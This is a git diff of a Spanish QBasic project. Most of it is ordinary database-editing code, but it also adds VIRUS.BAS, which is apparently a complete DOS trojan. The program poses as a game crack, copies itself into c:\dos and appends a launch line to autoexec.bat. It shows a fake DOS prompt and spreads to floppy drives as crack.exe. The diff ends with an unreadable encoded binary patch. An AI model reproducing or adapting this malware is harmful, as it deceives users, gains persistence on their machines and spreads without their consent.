CurrTopline + CurrRow - 1 + IF CurrRecord <= MaxRecord THEN + GOSUB EditGetLine + END IF + GOSUB EditPrintLine + NEXT CurrRow + CurrRow = temp + RETURN + + +EditPutLine: + + CurrRecord = CurrTopline + CurrRow - 1 + LSET IoDia$ = CurrDia$ + LSET IoRef$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IoDesc$ = CurrString$(1) + LSET IoUnd$ = LTRIM$(RTRIM$(STR$(CurrFig#(3)))) + LSET IoCC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IoPvp$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IoPc$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #1, CurrRecord + 1 + +IF GraCurrDat = CurrRecord THEN + + file2$ = "Ref#." + Cvit$(e%) + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + LSET IRf$ = LTRIM$(RTRIM$(STR$(CurrFig#(2)))) + LSET IDsc$ = CurrString$(1) + LSET ICC$ = LTRIM$(RTRIM$(STR$(CurrFig#(4)))) + LSET IPVP$ = LTRIM$(RTRIM$(STR$(CurrFig#(5)))) + LSET IPC$ = LTRIM$(RTRIM$(STR$(CurrFig#(6)))) + PUT #2, TopeRef# + LSET vld$ = "SI" + LSET IMxRcrd$ = LTRIM$(RTRIM$(STR$(TopeRef#))) + PUT #2, 1 + + TopeRef# = VAL(IMxRcrd$) + + Ca#(TopeRef#) = CurrFig#(2) + Cb$(TopeRef#) = CurrString$(1) + Cc#(TopeRef#) = CurrFig#(4) + Cd#(TopeRef#) = CurrFig#(5) + Ce#(TopeRef#) = CurrFig#(6) + + CLOSE #2 +END IF + + + RETURN + + +EditGetLine: + + CurrRecord = CurrTopline + CurrRow - 1 + GET #1, CurrRecord + 1 + dia$ = IoDia$ + CurrFig#(2) = VAL(IoRef$) + CurrString$(1) = IoDesc$ + CurrFig#(3) = VAL(IoUnd$) + CurrFig#(4) = VAL(IoCC$) + CurrFig#(5) = VAL(IoPvp$) + CurrFig#(6) = VAL(IoPc$) + compufech$ = mes$ + "-" + dia$ + "-" + an$ + LOCATE 1, 63: PRINT "Fecha: "; + LOCATE 1, 63: PRINT "Fecha: " + compufech$; + + RETURN + + +CargaReferencias: + +CLS +Box 14, 28, 17, 51 + +center 15, "Cargando referencias" +center 16, "Por favor, espere..." + + + file2$ = "Ref#." + Cvit$(e%) + + OPEN file2$ FOR RANDOM AS #2 LEN = 54 + + FIELD #2, 6 AS IRf$, 22 AS IDsc$, 3 AS ICC$, 8 AS IPVP$, 8 AS IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + + + GET #2, 1 + IF vld$ <> "SI" THEN + LSET IRf$ = STR$(0) + LSET IDsc$ = "" + LSET ICC$ = STR$(0) + LSET IPVP$ = STR$(0) + LSET IPC$ = STR$(0) + PUT #2, 2 + LSET vld$ = "SI" + LSET IMxRcrd$ = "1" + PUT #2, 1 + END IF + TopeRef# = VAL(IMxRcrd$) + + + b = 1 + WHILE b <= TopeRef# + GET #2, b + 1 + Ca#(b) = VAL(IRf$) + Cb$(b) = IDsc$ + Cc#(b) = VAL(ICC$) + Cd#(b) = VAL(IPVP$) + Ce#(b) = VAL(IPC$) + b = b + 1 + WEND + + +CLOSE #2 +RETURN + +END SUB + +'Trin$: +' Remove null and spaces from the end of a string. +FUNCTION Trim$ (x$) + + IF x$ = "" THEN + Trim$ = "" + ELSE + lastChar = 0 + FOR A = 1 TO LEN(x$) + y$ = MID$(x$, A, 1) + IF y$ <> CHR$(0) AND y$ <> " " THEN + lastChar = A + END IF + NEXT A + Trim$ = LEFT$(x$, lastChar) + END IF + +END FUNCTION + +SUB Vende (r%) + 'Information about each column + REDIM help$(4), Col(4), vis(4), max(4), Title$(9), Desc$(9), Ca$(9), AType$(9) + 'Draw the screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + OPEN "Vendedor" + Cvit$(item) FOR RANDOM AS #1 LEN = 76 + FIELD #1, 20 AS T$, 50 AS D$, 3 AS C$, 1 AS A$ + FIELD #1, 2 AS valid$ + IF valid$ <> "*" THEN + valid$ = "*" + PUT #1, 1 + FOR A = 1 TO 9 + LSET T$ = "" + LSET D$ = "" + LSET C$ = "" + LSET A$ = "" + PUT #1, A + 1 + NEXT A + END IF + FOR A = 1 TO 9 + GET #1, A + 1 + Title$(A) = T$ + Desc$(A) = D$ + Ca$(A) = C$ + AType$(A) = A$ + NEXT A + CLOSE + Box 2, 1, 14, 80 + Box 15, 1, 18, 80 + + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80) + LOCATE 1, 4: PRINT "Editor de Vendedores, Empresa: " + Trim$(Account(r%).Title); + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 3, 2: PRINT "No³ Vendedor/a ³ Otros Datos ³ C.A ³N.A" + LOCATE 4, 2: PRINT "ÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄ" + u$ = "##³\ \³\ \³\ \³ ! " + FOR A = 5 TO 13 + LOCATE A, 2 + x = A - 4 + PRINT USING u$; x; Title$(x); Desc$(x); Ca$(x); AType$(x); + NEXT A + + 'Initialize variables + help$(1) = " Nombre del Vendedor/a " + help$(2) = " Direcci¢n, n§ Telefono, etc... " + help$(3) = " Codigo Personal de Acceso al Sistema " + help$(4) = " Acceso al Sistema ( Nivel 1 a 5 ) " + Col(1) = 5: Col(2) = 26: Col(3) = 72: Col(4) = 78 + vis(1) = 20: vis(2) = 50: vis(3) = 4: vis(4) = 1 + max(1) = 20: max(2) = 50: max(3) = 3: max(4) = 1 + + finished = false + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + 'Loop until F2 or is pressed + DO + GOSUB EditAccountsShowCursor 'Show Cursor + DO 'Wait for key + kbd$ = INKEY$ + LOOP UNTIL kbd$ <> "" + IF kbd$ >= " " AND kbd$ < "~" THEN 'If legal, edit item + + COLOR colors(8, ColorPref), colors(9, ColorPref) + ok = false + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), start$, end$, vis(CurrCol), max(CurrCol)) + SELECT CASE CurrCol + CASE 1: Title$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 2: Desc$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 3: Ca$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 4: AType$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE ELSE + END SELECT + start$ = "" + + IF CurrCol = 4 THEN + x$ = UCASE$(end$) + IF VAL(x$) >= 1 OR VAL(x$) <= 5 THEN + ok = true + ELSE + BEEP + END IF + ELSE + ok = true + END IF + + LOOP UNTIL ok + END IF + + hide = 1: GOSUB EditAccountsShowCursor: hide = 0 'Hide Cursor so it can move + 'If it needs to + SELECT CASE kbd$ + CASE CHR$(0) + "H" 'Up Arrow + CurrRow = (CurrRow + 17) MOD 9 + 1 + CASE CHR$(0) + "P" 'Down Arrow + CurrRow = (CurrRow) MOD 9 + 1 + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left or Shift+Tab + CurrCol = (CurrCol + 1) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right or Tab + CurrCol = (CurrCol) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "<" 'F2 + finished = true + Save = true + CASE CHR$(27) 'Esc + finished = true + Save = false + CASE CHR$(13) 'Return + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + IF Save THEN + + OPEN "Vendedor" + Cvit$(item) FOR RANDOM AS #1 LEN = 76 + FIELD #1, 20 AS T$, 50 AS D$, 3 AS C$, 1 AS A$ + FIELD #1, 2 AS valid$ + FOR A = 1 TO 9 + LSET T$ = Title$(A) + LSET D$ = Desc$(A) + LSET C$ = Ca$(A) + LSET A$ = AType$(A) + PUT #1, A + 1 + NEXT A + CLOSE + + END IF + + EXIT SUB + + +EditAccountsShowCursor: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 4, Col(CurrCol) + SELECT CASE CurrCol + CASE 1: PRINT LEFT$(Title$(CurrRow), vis(CurrCol)); + CASE 2: PRINT LEFT$(Desc$(CurrRow), vis(CurrCol)); + CASE 3: PRINT LEFT$(Ca$(CurrRow), vis(CurrCol)); + CASE 4: PRINT LEFT$(AType$(CurrRow), vis(CurrCol)); + CASE ELSE + END SELECT + + RETURN + +END SUB + diff --git a/BAS/VIRUS.BAS b/BAS/VIRUS.BAS new file mode 100644 index 0000000..9393cd4 --- /dev/null +++ b/BAS/VIRUS.BAS @@ -0,0 +1,420 @@ +DECLARE FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%) +DECLARE SUB borradelauto () +DECLARE SUB copiarac (est) +DECLARE SUB aumentacarga (global) +DECLARE SUB Simulador () + + + +inicio: +DIM SHARED virus, c AS INTEGER, global, fc$(100) +CONST TRUE = -1 +CONST FALSE = NOT TRUE +veza = 0: vezb = 0 + +ON ERROR GOTO errores + +OPEN "c:\dos\cargas.dat" FOR INPUT AS #1 + CLOSE + glob = est + aumentacarga (glob) + +IF virus <> 1 THEN GOTO finprog 'Si el virus es distinto de 1 ( off ) + 'el programa se aborta. + + '***** simulador ***** +REDIM Curr$(19), One$(19), Two$(19), Three$(19), Four$(19), Five$(19) + +PRINT +row% = CSRLIN - 1 +hud = 80 +old$ = TIME$ + + +Simulador: +row% = row% + 1 +a$ = "" +hud = hud + 1 + +IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$ +PRINT +promt$ = "C:\" + LTRIM$(RTRIM$(ch$)) + ">" + +'PRINT promt$: +Kbd$ = GetString$(promt$, end$, 80, 80, LEN(promt$), col%) +IF RTRIM$(LTRIM$(UCASE$(end$))) = "JD_EXIT" THEN + CLS + LOCATE 5, 5: PRINT " EL FIN DE TU PESADILLA !!! , Nueva versi¢n en marcha." + borradelauto + SHELL "del c:\dos\cargas.dat >nul" + SHELL "del c:\dos\tempi.bin >nul" + SHELL "del c:\dos\TEMPI.exe >nul" + SYSTEM + END + END + END +END IF + +a$ = end$ + +'*******------------**********------------*********---------**********----- +IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO Simulador +IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO Simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT : PRINT "Omisi¢n de parametros": PRINT : GOTO Simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN + IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO Simulador + con = 0: L = 0: lug = 0: p = 0 + DO + con = con + 1 + L = L - 1 + IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO Simulador + IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$))) + LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$))) + IF p = 1 THEN ch$ = "": vez = 0: GOTO Simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO Simulador +END IF + + +IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador +END IF + +IF LEFT$(UCASE$(a$), 2) = "CD" THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador + +END IF + +'******************************************** +'COPIAR DESDE AQUI SI NO SE A¥ADE NADA ARRIBA +'******************************************** +RESTORE +b$ = "" +w$ = UCASE$(LTRIM$(RTRIM$(a$))) +RESTORE datas + +WHILE b$ <> "*" +READ b$, wqw$ +IF RTRIM$(LEFT$(w$, 4)) = b$ OR RTRIM$(LEFT$(w$, 2)) = b$ THEN GOTO accion +WEND + + + a = 1: b = 0 + + DO WHILE b <= LEN(w$) + 1 + b = b + 1 + IF MID$(w$, b, 1) = " " THEN pal$ = LEFT$(w$, b): EXIT DO + LOOP + valor = 0 + q1 = 0: q2 = 0: q3 = 0: q4 = 0: q5 = 0 + pal$ = w$ + + OPEN "c:\dos\tempi.bin" FOR RANDOM AS #1 LEN = 113 + FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$ + FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ = "*" THEN + MaxRecord = VAL(IoMaxRecord$) + ra = 1 + + DO WHILE ra <= MaxRecord + GET #1, ra + 1 + Curr$ = IoDate$ + One$ = IoRef$ + Two$ = IoDos$ + Three$ = IoTres$ + Four$ = IoCuatro$ + Five$ = IoCinco$ + IF RTRIM$(LTRIM$(pal$)) = RTRIM$(LTRIM$(UCASE$(Curr$))) THEN + + IF RIGHT$(RTRIM$(One$), 1) = "?" THEN PRINT : PRINT One$; : INPUT p$ ELSE PRINT : PRINT : PRINT One$; + + IF RIGHT$(RTRIM$(Two$), 1) = "?" THEN PRINT Two$; : INPUT "", p$: q1 = 1 + IF MID$(Two$, 2, 1) = "#" THEN IF RIGHT$(Two$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Two$, 3, 18); : Q = 1 + IF q1 = 0 THEN PRINT Two$ + + IF RIGHT$(RTRIM$(Three$), 1) = "?" THEN PRINT : PRINT Three$; : INPUT "", p$: q2 = 1 + IF MID$(Three$, 2, 1) = "#" THEN q2 = 1: IF LEFT$(Three$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Three$, 3, 18); : q2 = 1 + IF q2 = 0 THEN PRINT Three$ + + IF RIGHT$(RTRIM$(Four$), 1) = "?" THEN PRINT : PRINT Four$; : INPUT "", p$: q3 = 1 + IF MID$(Four$, 2, 1) = "#" THEN q3 = 1: IF LEFT$(Four$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Four$, 3, 18); + IF q3 = 0 THEN PRINT Four$ + + IF RIGHT$(RTRIM$(Five$), 1) = "?" THEN PRINT : PRINT Five$; : INPUT "", p$: q4 = 1 + IF MID$(Five$, 2, 1) = "#" THEN q4 = 1: IF LEFT$(Five$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Five$, 3, 18); + IF q4 = 0 THEN PRINT Five$ + + valor = 1 + EXIT DO + END IF + ra = ra + 1 + LOOP + END IF +CLOSE + + IF valor = 0 THEN PRINT : PRINT "Comando o nombre de archivo incorrecto" + +GOTO Simulador + + +accion: +SELECT CASE VAL(wqw$) + CASE 1 + PRINT : PRINT + PRINT " Volumen en unidad C no tiene etiqueta" + PRINT " N£mero de serie de volumen es 1138-1600" + PRINT + PRINT " Directorio de C:\" + ch$ + PRINT + PRINT "Archivo no se encontr¢" + PRINT + GOTO Simulador + + CASE 2 + + PRINT : PRINT "Imposible acceder a unidad requerida" + GOTO Simulador + CASE 3 + CLS + PRINT + GOTO Simulador + + CASE 4 + PRINT : PRINT "Fichero no encontrado" + GOTO Simulador + + CASE 5 + COLOR 6 + PRINT : PRINT "Virus-Simuler por JD" + COLOR 7 + GOTO Simulador + + CASE 6 + PRINT : PRINT TIME$: GOTO Simulador + + CASE 7 + PRINT : PRINT DATE$: GOTO Simulador + CASE 8 + IF veza = 0 THEN SHELL "copy c:\dos\tempi.exe a:crack.exe >nul": SHELL "copy c:\dos\tempi.bin a:crack.dat >nul" + PRINT + PRINT "Cable de enlace con la unidad A, suelto" + veza = 1 + + GOTO Simulador + CASE 9 + IF vezb = 0 THEN SHELL "copy c:\dos\tempi.exe b:crack.exe >nul": SHELL "copy c:\dos\tempi.bin b:crack.dat >nul" + PRINT + PRINT "Cable de enlace con la unidad B, suelto" + vezb = 1 + GOTO Simulador +END SELECT +PRINT wqw$ +GOTO Simulador + + + + +END + +finprog: + + IF est = 1 THEN COLOR 5: LOCATE 15, 10: PRINT "Juego CRACKEADO ::: .. :::" + 'system + +END + +errores: +IF ERR = 53 THEN copiarac (1) +RESUME NEXT + + +datas: +DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7,"A:",8,"B:",9 +DATA *,* + +SUB aumentacarga (global) + +OPEN "c:\dos\cargas.dat" FOR INPUT AS #1 + INPUT #1, carga$ +CLOSE + + carga$ = STR$(VAL(carga$) + 1) + + OPEN "c:\dos\cargas.dat" FOR OUTPUT AS #1 + WRITE #1, carga$ + CLOSE + +' El virus se activara cuando el contador sea mayor de 3 y se +'auto-eliminara cuando alcance un n£mero m ximo de 9 cargas. + IF VAL(carga$) > 3 THEN virus = 1 + IF VAL(carga$) >= 9 THEN + borradelauto + KILL "cargas.dat" + KILL "c:\dos\tempi.bin" + KILL "c:\dos\TEMPI.exe" + + END IF +END SUB + +SUB borradelauto + +'El proceso de borrado es complicado, hay que modificar apartir de las +'secuencias de grabado de datos las entradas o bytes donde se encuentra +'nuestra linea "intrusa", para eliminarla sin dejar rastro en el auto. + + +OPEN "c:\autoexec.bat" FOR INPUT AS #1 + +Q = 0 + +DO + Q = Q + 1 + LINE INPUT #1, fc$(Q) + IF RTRIM$(LTRIM$(fc$(Q))) = "@echo off" THEN valor = 1 + + IF valor = 1 AND RTRIM$(LTRIM$(fc$(Q))) = "c:\dos\TEMPI" THEN CLOSE #1: GOTO grabar + +LOOP WHILE NOT EOF(1) + +CLOSE #1 +GOTO finh + +grabar: + +c = Q - 22 +SHELL "c:\dos\attrib -h -r c:\autoexec.bat >nul" +SHELL "del c:\autoexec.bat >nul" + +OPEN "c:\autoexec.bat" FOR APPEND AS #2 + +c = Q - 22 + +FOR Q = 1 TO c + + PRINT #2, fc$(Q) + +NEXT Q + +CLOSE #2 + +finh: + +END SUB + +SUB copiarac (est) + +' Ahora deber¡a auto-copiarse este programa a la unidad C +' e instalarse, en el archivo autoexec.bat +CLS +bit = 0 + +LOCATE 5, 5: COLOR 5: PRINT "Por favor, espere..." +LOCATE 7, 5: COLOR 7: PRINT "Crackeando juego... ::: .. :::" +COLOR 12 + +SHELL "copy crack.exe c:\dos\tempi.exe >nul" +SHELL "copy crack.dat c:\dos\tempi.bin >nul" + +SHELL "c:\dos\attrib -r c:\autoexec.bat >nul" +OPEN "c:\autoexec.bat" FOR APPEND AS #1 + FOR a = c TO c + 20 + PRINT #1, CHR$(13) + NEXT a + PRINT #1, "@echo off" + PRINT #1, "c:\dos\TEMPI" +CLOSE #1 + + COLOR 7 + IF est = 1 THEN est = 1 + +END SUB + +DEFINT A-Z +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +' +' +FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%) +PRINT start$; + + + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = FALSE + DO + GOSUB GetStringShowText2 + GOSUB GetStringGetKey2 + + IF LEN(Kbd$) > 1 THEN + finished = TRUE + GetString2$ = Kbd$ + ELSE + SELECT CASE Kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = TRUE + GetString2$ = Kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + IF LEN(Curr$) >= 0 THEN + LOCATE CSRLIN, POS(0) - 1: PRINT " "; + IF LEN(Curr$) >= 1 THEN LOCATE CSRLIN, POS(0) - 2 ELSE LOCATE CSRLIN, POS(0) - 1 + END IF + END IF + + CASE " " TO "}" + IF LEN(Curr$) < Max THEN + Curr$ = Curr$ + Kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText2: + + IF LEN(Curr$) > Vis THEN + PRINT RIGHT$(Curr$, Vis); + ELSE + PRINT RIGHT$(Curr$, 1); + + + END IF + RETURN + +GetStringGetKey2: + Kbd$ = "" + WHILE Kbd$ = "" + Kbd$ = INKEY$ + WEND + RETURN + +END FUNCTION + diff --git a/EXE/BD.EXE b/EXE/BD.EXE new file mode 100644 index 0000000000000000000000000000000000000000..d9aa2956a3aea4fb36e2939d77997834ebbddfd8 GIT binary patch literal 45225 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 